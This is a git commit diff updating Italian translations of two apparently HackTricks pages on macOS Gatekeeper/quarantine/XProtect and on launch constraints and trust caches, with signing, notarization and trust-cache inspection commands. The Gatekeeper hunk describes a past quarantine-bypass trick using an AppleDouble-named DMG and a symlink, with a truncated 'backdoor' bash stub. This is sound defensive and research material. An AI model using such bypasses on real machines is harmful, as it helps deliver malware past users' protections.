Translated ['macos-hardening/macos-security-and-privilege-escalation/mac

This commit is contained in:
Translator 2024-07-19 16:24:40 +00:00
parent 8eebe49ecf
commit 093d2828d6
20 changed files with 655 additions and 555 deletions

View file

@ -1,16 +1,19 @@
# macOS Gatekeeper / Quarantine / XProtect
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Lavori in una **società di cybersecurity**? Vuoi vedere la tua **azienda pubblicizzata in HackTricks**? o vuoi avere accesso alla **versione più recente del PEASS o scaricare HackTricks in PDF**? Controlla i [**Piani di ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
* Ottieni il [**merchandise ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud)
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
@ -24,23 +27,23 @@ Il meccanismo chiave di Gatekeeper risiede nel suo processo di **verifica**. Con
Inoltre, Gatekeeper rafforza il controllo e la sicurezza dell'utente **richiedendo agli utenti di approvare l'apertura** del software scaricato per la prima volta. Questa protezione aiuta a prevenire che gli utenti eseguano involontariamente codice eseguibile potenzialmente dannoso che potrebbero aver scambiato per un file di dati innocuo.
### Firme delle Applicazioni
### Application Signatures
Le firme delle applicazioni, note anche come firme del codice, sono un componente critico dell'infrastruttura di sicurezza di Apple. Vengono utilizzate per **verificare l'identità dell'autore del software** (lo sviluppatore) e per garantire che il codice non sia stato manomesso da quando è stato firmato l'ultima volta.
Ecco come funziona:
1. **Firmare l'Applicazione:** Quando uno sviluppatore è pronto a distribuire la propria applicazione, **firma l'applicazione utilizzando una chiave privata**. Questa chiave privata è associata a un **certificato che Apple rilascia allo sviluppatore** quando si iscrive al Programma Sviluppatori Apple. Il processo di firma comporta la creazione di un hash crittografico di tutte le parti dell'app e la crittografia di questo hash con la chiave privata dello sviluppatore.
2. **Distribuire l'Applicazione:** L'applicazione firmata viene quindi distribuita agli utenti insieme al certificato dello sviluppatore, che contiene la corrispondente chiave pubblica.
3. **Verificare l'Applicazione:** Quando un utente scarica e tenta di eseguire l'applicazione, il sistema operativo Mac utilizza la chiave pubblica del certificato dello sviluppatore per decrittografare l'hash. Quindi ricalcola l'hash in base allo stato attuale dell'applicazione e lo confronta con l'hash decrittografato. Se corrispondono, significa che **l'applicazione non è stata modificata** da quando è stata firmata dallo sviluppatore e il sistema consente l'esecuzione dell'applicazione.
1. **Firmare l'applicazione:** Quando uno sviluppatore è pronto a distribuire la propria applicazione, **firma l'applicazione utilizzando una chiave privata**. Questa chiave privata è associata a un **certificato che Apple rilascia allo sviluppatore** quando si iscrive al Programma Sviluppatori Apple. Il processo di firma comporta la creazione di un hash crittografico di tutte le parti dell'app e la crittografia di questo hash con la chiave privata dello sviluppatore.
2. **Distribuire l'applicazione:** L'applicazione firmata viene quindi distribuita agli utenti insieme al certificato dello sviluppatore, che contiene la corrispondente chiave pubblica.
3. **Verificare l'applicazione:** Quando un utente scarica e tenta di eseguire l'applicazione, il sistema operativo Mac utilizza la chiave pubblica del certificato dello sviluppatore per decrittografare l'hash. Quindi ricalcola l'hash in base allo stato attuale dell'applicazione e lo confronta con l'hash decrittografato. Se corrispondono, significa che **l'applicazione non è stata modificata** da quando è stata firmata dallo sviluppatore, e il sistema consente l'esecuzione dell'applicazione.
Le firme delle applicazioni sono una parte essenziale della tecnologia Gatekeeper di Apple. Quando un utente tenta di **aprire un'applicazione scaricata da internet**, Gatekeeper verifica la firma dell'applicazione. Se è firmata con un certificato rilasciato da Apple a uno sviluppatore noto e il codice non è stato manomesso, Gatekeeper consente l'esecuzione dell'applicazione. Altrimenti, blocca l'applicazione e avvisa l'utente.
A partire da macOS Catalina, **Gatekeeper controlla anche se l'applicazione è stata notarizzata** da Apple, aggiungendo un ulteriore livello di sicurezza. Il processo di notarizzazione controlla l'applicazione per problemi di sicurezza noti e codice dannoso, e se questi controlli vengono superati, Apple aggiunge un ticket all'applicazione che Gatekeeper può verificare.
#### Controlla le Firme
#### Check Signatures
Quando controlli alcuni **campioni di malware** dovresti sempre **controllare la firma** del binario poiché il **sviluppatore** che l'ha firmato potrebbe essere già **relato** con **malware.**
Quando controlli alcuni **campioni di malware**, dovresti sempre **controllare la firma** del binario poiché il **developer** che l'ha firmato potrebbe essere già **relato** con **malware.**
```bash
# Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
@ -59,7 +62,7 @@ codesign -s <cert-name-keychain> toolsdemo
```
### Notarizzazione
Il processo di notarizzazione di Apple funge da ulteriore protezione per proteggere gli utenti da software potenzialmente dannoso. Comporta che il **sviluppatore invii la propria applicazione per l'esame** da parte del **Servizio Notariale di Apple**, che non deve essere confuso con la Revisione delle App. Questo servizio è un **sistema automatizzato** che esamina il software inviato per la presenza di **contenuti dannosi** e eventuali problemi con la firma del codice.
Il processo di notarizzazione di Apple funge da ulteriore protezione per proteggere gli utenti da software potenzialmente dannoso. Comporta che il **sviluppatore invii la propria applicazione per l'esame** da parte del **Servizio Notariale di Apple**, che non deve essere confuso con la Revisione dell'App. Questo servizio è un **sistema automatizzato** che esamina il software inviato per la presenza di **contenuti dannosi** e eventuali problemi con la firma del codice.
Se il software **supera** questo controllo senza sollevare preoccupazioni, il Servizio Notariale genera un biglietto di notarizzazione. Il sviluppatore è quindi tenuto a **allegare questo biglietto al proprio software**, un processo noto come 'stapling.' Inoltre, il biglietto di notarizzazione è anche pubblicato online dove Gatekeeper, la tecnologia di sicurezza di Apple, può accedervi.
@ -75,7 +78,7 @@ GateKeeper è sia **diversi componenti di sicurezza** che impediscono l'esecuzio
spctl --status
```
{% hint style="danger" %}
Nota che i controlli delle firme di GateKeeper vengono eseguiti solo su **file con l'attributo Quarantine**, non su ogni file.
Nota che i controlli delle firme di GateKeeper vengono eseguiti solo su **file con l'attributo Quarantena**, non su ogni file.
{% endhint %}
GateKeeper verificherà se, secondo le **preferenze e la firma**, un binario può essere eseguito:
@ -96,8 +99,8 @@ anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] exists
anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists and (certificate leaf[field.1.2.840.113635.100.6.1.14] or certificate leaf[field.1.2.840.113635.100.6.1.13]) and notarized|1|0|Notarized Developer ID
[...]
```
Nota come la prima regola sia terminata in "**App Store**" e la seconda in "**Developer ID**" e che nell'immagine precedente era **abilitato l'esecuzione di app dall'App Store e sviluppatori identificati**.\
Se **modifichi** quella impostazione in App Store, le regole "**Notarized Developer ID**" scompariranno.
Nota come la prima regola sia terminata in "**App Store**" e la seconda in "**Developer ID**" e che nell'immagine precedente era **abilitato ad eseguire app dall'App Store e sviluppatori identificati**.\
Se **modifichi** quella impostazione su App Store, le regole "**Notarized Developer ID**" scompariranno.
Ci sono anche migliaia di regole di **tipo GKE**:
```bash
@ -200,7 +203,7 @@ com.apple.quarantine: 00C1;607842eb;Brave;F643CD5F-6071-46AB-83AB-390BA944DEC5
# Brave -- App
# F643CD5F-6071-46AB-83AB-390BA944DEC5 -- UID assigned to the file downloaded
```
In realtà, un processo "potrebbe impostare i flag di quarantena sui file che crea" (ho provato ad applicare il flag USER_APPROVED in un file creato ma non si applica):
In realtà, un processo "potrebbe impostare i flag di quarantena sui file che crea" (ho provato ad applicare il flag USER_APPROVED in un file creato, ma non si applica):
<details>
@ -409,7 +412,7 @@ aa archive -d test/ -o test.aar
{% endcode %}
Essere in grado di creare un file che non avrà l'attributo di quarantena impostato, era **possibile bypassare Gatekeeper.** Il trucco era **creare un'applicazione file DMG** utilizzando la convenzione di denominazione AppleDouble (iniziarlo con `._`) e creare un **file visibile come un link simbolico a questo file nascosto** senza l'attributo di quarantena.\
Quando il **file dmg viene eseguito**, poiché non ha un attributo di quarantena, **bypasserà Gatekeeper.**
Quando **il file dmg viene eseguito**, poiché non ha un attributo di quarantena, **bypasserà Gatekeeper.**
```bash
# Create an app bundle with the backdoor an call it app.app

View file

@ -1,57 +1,58 @@
# Vincoli di avvio/ambiente macOS e Trust Cache
# macOS Launch/Environment Constraints & Trust Cache
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata su HackTricks**? O vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud)
*
* .
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Informazioni di base
I vincoli di avvio in macOS sono stati introdotti per migliorare la sicurezza regolamentando come, da chi e da dove può essere avviato un processo. Introdotto in macOS Ventura, forniscono un framework che categorizza **ogni binario di sistema in categorie di vincoli distinte**, definite all'interno della **cache di fiducia**, una lista contenente i binari di sistema e i loro hash corrispondenti. Questi vincoli si estendono a ogni binario eseguibile all'interno del sistema, comportando un insieme di **regole** che delineano i requisiti per **avviare un determinato binario**. Le regole comprendono vincoli interni che un binario deve soddisfare, vincoli genitori che devono essere soddisfatti dal processo padre e vincoli responsabili che devono essere aderiti da altre entità pertinenti.
I vincoli di avvio in macOS sono stati introdotti per migliorare la sicurezza **regolando come, chi e da dove un processo può essere avviato**. Introdotti in macOS Ventura, forniscono un framework che categorizza **ogni binario di sistema in distinte categorie di vincolo**, definite all'interno della **trust cache**, un elenco contenente i binari di sistema e i loro rispettivi hash. Questi vincoli si estendono a ogni binario eseguibile all'interno del sistema, comportando un insieme di **regole** che delineano i requisiti per **l'avvio di un particolare binario**. Le regole comprendono vincoli autoimposti che un binario deve soddisfare, vincoli parentali che devono essere soddisfatti dal suo processo padre e vincoli di responsabilità a cui devono attenersi altre entità rilevanti.
Il meccanismo si estende alle app di terze parti attraverso i **vincoli di ambiente**, a partire da macOS Sonoma, consentendo agli sviluppatori di proteggere le proprie app specificando un **insieme di chiavi e valori per i vincoli di ambiente**.
Il meccanismo si estende alle app di terze parti attraverso i **Vincoli di Ambiente**, a partire da macOS Sonoma, consentendo agli sviluppatori di proteggere le loro app specificando un **insieme di chiavi e valori per i vincoli di ambiente.**
Definisci i **vincoli di avvio e di libreria** in dizionari di vincoli che salvi in **file di proprietà `launchd`**, o in **file di proprietà separati** che utilizzi nella firma del codice.
Definisci **vincoli di ambiente e libreria di avvio** in dizionari di vincoli che salvi in **file di elenco di proprietà `launchd`**, o in **file di elenco di proprietà separati** che utilizzi nella firma del codice.
Ci sono 4 tipi di vincoli:
* **Vincoli interni**: Vincoli applicati al binario **in esecuzione**.
* **Vincoli del processo padre**: Vincoli applicati al **genitore del processo** (ad esempio **`launchd`** che esegue un servizio XP)
* **Vincoli responsabili**: Vincoli applicati al **processo che chiama il servizio** in una comunicazione XPC
* **Vincoli di caricamento della libreria**: Utilizza i vincoli di caricamento della libreria per descrivere selettivamente il codice che può essere caricato
* **Vincoli Autoimposti**: Vincoli applicati al **binario in esecuzione**.
* **Processo Padre**: Vincoli applicati al **genitore del processo** (ad esempio **`launchd`** che esegue un servizio XP)
* **Vincoli di Responsabilità**: Vincoli applicati al **processo che chiama il servizio** in una comunicazione XPC
* **Vincoli di caricamento della libreria**: Usa i vincoli di caricamento della libreria per descrivere selettivamente il codice che può essere caricato
Quando un processo cerca di avviare un altro processo - chiamando `execve(_:_:_:)` o `posix_spawn(_:_:_:_:_:_:)` - il sistema operativo verifica che il file eseguibile soddisfi il suo **vincolo interno**. Verifica anche che il file eseguibile del **processo padre** soddisfi il **vincolo genitore** del file eseguibile e che il file eseguibile del **processo responsabile** soddisfi il **vincolo del processo responsabile** del file eseguibile. Se uno di questi vincoli di avvio non viene soddisfatto, il sistema operativo non esegue il programma.
Quindi, quando un processo cerca di avviare un altro processo — chiamando `execve(_:_:_:)` o `posix_spawn(_:_:_:_:_:_:)` — il sistema operativo verifica che il file **eseguibile** **soddisfi** il proprio **vincolo autoimposto**. Controlla anche che l'eseguibile del **processo padre** **soddisfi** il **vincolo parentale** dell'eseguibile e che l'eseguibile del **processo responsabile** **soddisfi il vincolo di responsabilità** dell'eseguibile. Se uno di questi vincoli di avvio non è soddisfatto, il sistema operativo non esegue il programma.
Se durante il caricamento di una libreria una parte del **vincolo della libreria non è vera**, il tuo processo **non carica** la libreria.
Se durante il caricamento di una libreria qualsiasi parte del **vincolo della libreria non è vera**, il tuo processo **non carica** la libreria.
## Categorie LC
Un LC è composto da **fatti** e **operazioni logiche** (and, or...) che combinano i fatti.
Un LC è composto da **fatti** e **operazioni logiche** (e, o..) che combinano fatti.
I [**fatti che un LC può utilizzare sono documentati**](https://developer.apple.com/documentation/security/defining\_launch\_environment\_and\_library\_constraints). Ad esempio:
I[ **fatti che un LC può utilizzare sono documentati**](https://developer.apple.com/documentation/security/defining\_launch\_environment\_and\_library\_constraints). Ad esempio:
* is-init-proc: Un valore booleano che indica se il file eseguibile deve essere il processo di inizializzazione del sistema operativo (`launchd`).
* is-sip-protected: Un valore booleano che indica se il file eseguibile deve essere un file protetto da System Integrity Protection (SIP).
* `on-authorized-authapfs-volume:` Un valore booleano che indica se il sistema operativo ha caricato il file eseguibile da un volume APFS autorizzato e autenticato.
* `on-authorized-authapfs-volume`: Un valore booleano che indica se il sistema operativo ha caricato il file eseguibile da un volume APFS autorizzato e autenticato.
* is-init-proc: Un valore booleano che indica se l'eseguibile deve essere il processo di inizializzazione del sistema operativo (`launchd`).
* is-sip-protected: Un valore booleano che indica se l'eseguibile deve essere un file protetto da System Integrity Protection (SIP).
* `on-authorized-authapfs-volume:` Un valore booleano che indica se il sistema operativo ha caricato l'eseguibile da un volume APFS autorizzato e autenticato.
* `on-authorized-authapfs-volume`: Un valore booleano che indica se il sistema operativo ha caricato l'eseguibile da un volume APFS autorizzato e autenticato.
* Volume Cryptexes
* `on-system-volume:` Un valore booleano che indica se il sistema operativo ha caricato il file eseguibile dal volume di sistema attualmente avviato.
* All'interno di /System...
* `on-system-volume:` Un valore booleano che indica se il sistema operativo ha caricato l'eseguibile dal volume di sistema attualmente avviato.
* Dentro /System...
* ...
Quando un binario Apple viene firmato, viene **assegnato a una categoria LC** all'interno della **cache di fiducia**.
Quando un binario Apple è firmato, **viene assegnato a una categoria LC** all'interno della **trust cache**.
* Le **categorie LC di iOS 16** sono state [**invertite e documentate qui**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056).
* Le **categorie LC attuali (macOS 14** - Somona) sono state invertite e le loro [**descrizioni possono essere trovate qui**](https://gist.github.com/theevilbit/a6fef1e0397425a334d064f7b6e1be53).
* Le attuali **categorie LC (macOS 14** - Somona) sono state invertite e le loro [**descrizioni possono essere trovate qui**](https://gist.github.com/theevilbit/a6fef1e0397425a334d064f7b6e1be53).
Ad esempio, la Categoria 1 è:
```
@ -59,42 +60,42 @@ Category 1:
Self Constraint: (on-authorized-authapfs-volume || on-system-volume) && launch-type == 1 && validation-category == 1
Parent Constraint: is-init-proc
```
* `(on-authorized-authapfs-volume || on-system-volume)`: Deve essere in un volume di sistema o Cryptexes.
* `(on-authorized-authapfs-volume || on-system-volume)`: Deve trovarsi nel volume di sistema o Cryptexes.
* `launch-type == 1`: Deve essere un servizio di sistema (plist in LaunchDaemons).
* `validation-category == 1`: Un eseguibile di sistema operativo.
* `validation-category == 1`: Un eseguibile del sistema operativo.
* `is-init-proc`: Launchd
### Reversing LC Categories
Hai maggiori informazioni [**qui**](https://theevilbit.github.io/posts/launch\_constraints\_deep\_dive/#reversing-constraints), ma in sostanza sono definite in **AMFI (AppleMobileFileIntegrity)**, quindi è necessario scaricare il Kernel Development Kit per ottenere il **KEXT**. I simboli che iniziano con **`kConstraintCategory`** sono quelli **interessanti**. Estraendoli otterrai uno stream codificato DER (ASN.1) che dovrai decodificare con [ASN.1 Decoder](https://holtstrom.com/michael/tools/asn1decoder.php) o la libreria python-asn1 e il suo script `dump.py`, [andrivet/python-asn1](https://github.com/andrivet/python-asn1/tree/master), che ti fornirà una stringa più comprensibile.
Hai ulteriori informazioni [**a riguardo qui**](https://theevilbit.github.io/posts/launch\_constraints\_deep\_dive/#reversing-constraints), ma fondamentalmente, sono definiti in **AMFI (AppleMobileFileIntegrity)**, quindi devi scaricare il Kernel Development Kit per ottenere il **KEXT**. I simboli che iniziano con **`kConstraintCategory`** sono quelli **interessanti**. Estraendoli otterrai uno stream codificato DER (ASN.1) che dovrai decodificare con [ASN.1 Decoder](https://holtstrom.com/michael/tools/asn1decoder.php) o la libreria python-asn1 e il suo script `dump.py`, [andrivet/python-asn1](https://github.com/andrivet/python-asn1/tree/master) che ti darà una stringa più comprensibile.
## Vincoli dell'ambiente
## Environment Constraints
Questi sono i vincoli di avvio configurati nelle **applicazioni di terze parti**. Lo sviluppatore può selezionare i **fatti** e gli **operandi logici da utilizzare** nella sua applicazione per limitare l'accesso ad essa.
Questi sono i Launch Constraints impostati configurati in **applicazioni di terze parti**. Lo sviluppatore può selezionare i **fatti** e **operatori logici da utilizzare** nella sua applicazione per limitare l'accesso a se stesso.
È possibile enumerare i vincoli dell'ambiente di un'applicazione con:
È possibile enumerare i Environment Constraints di un'applicazione con:
```bash
codesign -d -vvvv app.app
```
## Cache di fiducia
## Trust Caches
In **macOS** ci sono alcune cache di fiducia:
In **macOS** ci sono alcuni cache di fiducia:
* **`/System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/BaseSystemTrustCache.img4`**
* **`/System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/StaticTrustCache.img4`**
* **`/System/Library/Security/OSLaunchPolicyData`**
E in iOS sembra che sia in **`/usr/standalone/firmware/FUD/StaticTrustCache.img4`**.
E in iOS sembra che si trovi in **`/usr/standalone/firmware/FUD/StaticTrustCache.img4`**.
{% hint style="warning" %}
Su macOS che gira su dispositivi Apple Silicon, se un binario firmato da Apple non è nella cache di fiducia, AMFI rifiuterà di caricarlo.
Su macOS in esecuzione su dispositivi Apple Silicon, se un binario firmato da Apple non è nel cache di fiducia, AMFI rifiuterà di caricarlo.
{% endhint %}
### Enumerazione delle cache di fiducia
### Enumerating Trust Caches
I file di cache di fiducia precedenti sono nel formato **IMG4** e **IM4P**, dove IM4P è la sezione payload di un formato IMG4.
I precedenti file di cache di fiducia sono nel formato **IMG4** e **IM4P**, essendo IM4P la sezione payload di un formato IMG4.
Puoi utilizzare [**pyimg4**](https://github.com/m1stadev/PyIMG4) per estrarre il payload dei database:
Puoi usare [**pyimg4**](https://github.com/m1stadev/PyIMG4) per estrarre il payload dei database:
{% code overflow="wrap" %}
```bash
@ -114,7 +115,7 @@ pyimg4 im4p extract -i /System/Library/Security/OSLaunchPolicyData -o /tmp/OSLau
```
{% endcode %}
(Un'altra opzione potrebbe essere utilizzare lo strumento [**img4tool**](https://github.com/tihmstar/img4tool), che funzionerà anche su M1 anche se la versione è vecchia e per x86\_64 se lo installi nelle posizioni corrette).
(Un'altra opzione potrebbe essere utilizzare lo strumento [**img4tool**](https://github.com/tihmstar/img4tool), che funzionerà anche su M1 anche se il rilascio è vecchio e per x86\_64 se lo installi nelle posizioni appropriate).
Ora puoi utilizzare lo strumento [**trustcache**](https://github.com/CRKatri/trustcache) per ottenere le informazioni in un formato leggibile:
```bash
@ -140,7 +141,7 @@ entry count = 969
01e6934cb8833314ea29640c3f633d740fc187f2 [none] [2] [2]
020bf8c388deaef2740d98223f3d2238b08bab56 [none] [2] [3]
```
La cache di fiducia segue la seguente struttura, quindi la **categoria LC è la quarta colonna**.
La cache di fiducia segue la seguente struttura, quindi la **categoria LC è la quarta colonna**
```c
struct trust_cache_entry2 {
uint8_t cdhash[CS_CDHASH_LEN];
@ -150,31 +151,30 @@ uint8_t constraintCategory;
uint8_t reserved0;
} __attribute__((__packed__));
```
Successivamente, potresti utilizzare uno script come [**questo**](https://gist.github.com/xpn/66dc3597acd48a4c31f5f77c3cc62f30) per estrarre i dati.
Then, you could use a script such as [**this one**](https://gist.github.com/xpn/66dc3597acd48a4c31f5f77c3cc62f30) to extract data.
Da quei dati puoi verificare le App con un **valore di vincolo di avvio di `0`**, che sono quelle non vincolate ([**controlla qui**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056) per sapere cosa rappresenta ciascun valore).
From that data you can check the Apps with a **launch constraints value of `0`**, which are the ones that aren't constrained ([**check here**](https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056) for what each value is).
## Mitigazioni degli attacchi
I vincoli di avvio avrebbero mitigato diversi vecchi attacchi **assicurandosi che il processo non venga eseguito in condizioni impreviste**: ad esempio da posizioni impreviste o invocato da un processo padre imprevisto (se solo launchd dovesse avviarlo)
Le Launch Constraints avrebbero mitigato diversi attacchi vecchi **assicurandosi che il processo non venga eseguito in condizioni inaspettate:** Ad esempio, da posizioni inaspettate o invocato da un processo padre inaspettato (se solo launchd dovrebbe lanciarlo).
Inoltre, i vincoli di avvio **mitigano anche gli attacchi di declassificazione**.
Inoltre, le Launch Constraints **mitigano anche gli attacchi di downgrade.**
Tuttavia, non mitigano gli abusi comuni di XPC, le iniezioni di codice di Electron o le iniezioni di dylib senza convalida della libreria (a meno che non siano noti gli ID del team che possono caricare le librerie).
Tuttavia, non **mitigano gli abusi comuni di XPC**, **iniezioni di codice Electron** o **iniezioni di dylib** senza validazione della libreria (a meno che gli ID team che possono caricare librerie non siano noti).
### Protezione del demone XPC
### Protezione del Demone XPC
Nella versione Sonoma, un punto notevole è la **configurazione della responsabilità del servizio XPC del demone**. Il servizio XPC è responsabile di se stesso, a differenza del client di connessione che è responsabile. Questo è documentato nella segnalazione di feedback FB13206884. Questa configurazione potrebbe sembrare difettosa, poiché consente determinate interazioni con il servizio XPC:
Nella release di Sonoma, un punto notevole è la **configurazione della responsabilità** del servizio demone XPC. Il servizio XPC è responsabile di se stesso, a differenza del client connesso che è responsabile. Questo è documentato nel rapporto di feedback FB13206884. Questa configurazione potrebbe sembrare difettosa, poiché consente alcune interazioni con il servizio XPC:
- **Avvio del servizio XPC**: Se si assume che sia un bug, questa configurazione non consente di avviare il servizio XPC tramite codice di attacco.
- **Connessione a un servizio attivo**: Se il servizio XPC è già in esecuzione (possibilmente attivato dalla sua applicazione originale), non ci sono ostacoli alla connessione ad esso.
- **Avvio del Servizio XPC**: Se considerato un bug, questa configurazione non consente di avviare il servizio XPC tramite codice dell'attaccante.
- **Connessione a un Servizio Attivo**: Se il servizio XPC è già in esecuzione (possibilmente attivato dalla sua applicazione originale), non ci sono barriere per connettersi ad esso.
Sebbene l'implementazione di vincoli sul servizio XPC potrebbe essere vantaggiosa **restringendo la finestra per potenziali attacchi**, non affronta la preoccupazione principale. Garantire la sicurezza del servizio XPC richiede fondamentalmente **la convalida efficace del client di connessione**. Questo rimane l'unico metodo per rafforzare la sicurezza del servizio. Inoltre, è importante notare che la configurazione di responsabilità menzionata è attualmente operativa, il che potrebbe non essere in linea con il design previsto.
Sebbene l'implementazione di vincoli sul servizio XPC possa essere vantaggiosa **ristretta la finestra per potenziali attacchi**, non affronta la preoccupazione principale. Garantire la sicurezza del servizio XPC richiede fondamentalmente **di validare efficacemente il client connesso**. Questo rimane l'unico metodo per rafforzare la sicurezza del servizio. Inoltre, vale la pena notare che la configurazione di responsabilità menzionata è attualmente operativa, il che potrebbe non allinearsi con il design previsto.
### Protezione Electron
### Protezione di Electron
Anche se è necessario che l'applicazione debba essere **aperta da LaunchService** (nei vincoli dei processi padre). Questo può essere ottenuto utilizzando **`open`** (che può impostare variabili di ambiente) o utilizzando l'**API di Launch Services** (dove possono essere indicate variabili di ambiente).
Anche se è richiesto che l'applicazione debba essere **aperta da LaunchService** (nei vincoli dei genitori). Questo può essere ottenuto utilizzando **`open`** (che può impostare variabili di ambiente) o utilizzando l'**API dei Servizi di Lancio** (dove possono essere indicate le variabili di ambiente).
## Riferimenti
@ -183,16 +183,17 @@ Anche se è necessario che l'applicazione debba essere **aperta da LaunchService
* [https://eclecticlight.co/2023/06/13/why-wont-a-system-app-or-command-tool-run-launch-constraints-and-trust-caches/](https://eclecticlight.co/2023/06/13/why-wont-a-system-app-or-command-tool-run-launch-constraints-and-trust-caches/)
* [https://developer.apple.com/videos/play/wwdc2023/10266/](https://developer.apple.com/videos/play/wwdc2023/10266/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata su HackTricks**? O vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud)
*
* .
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
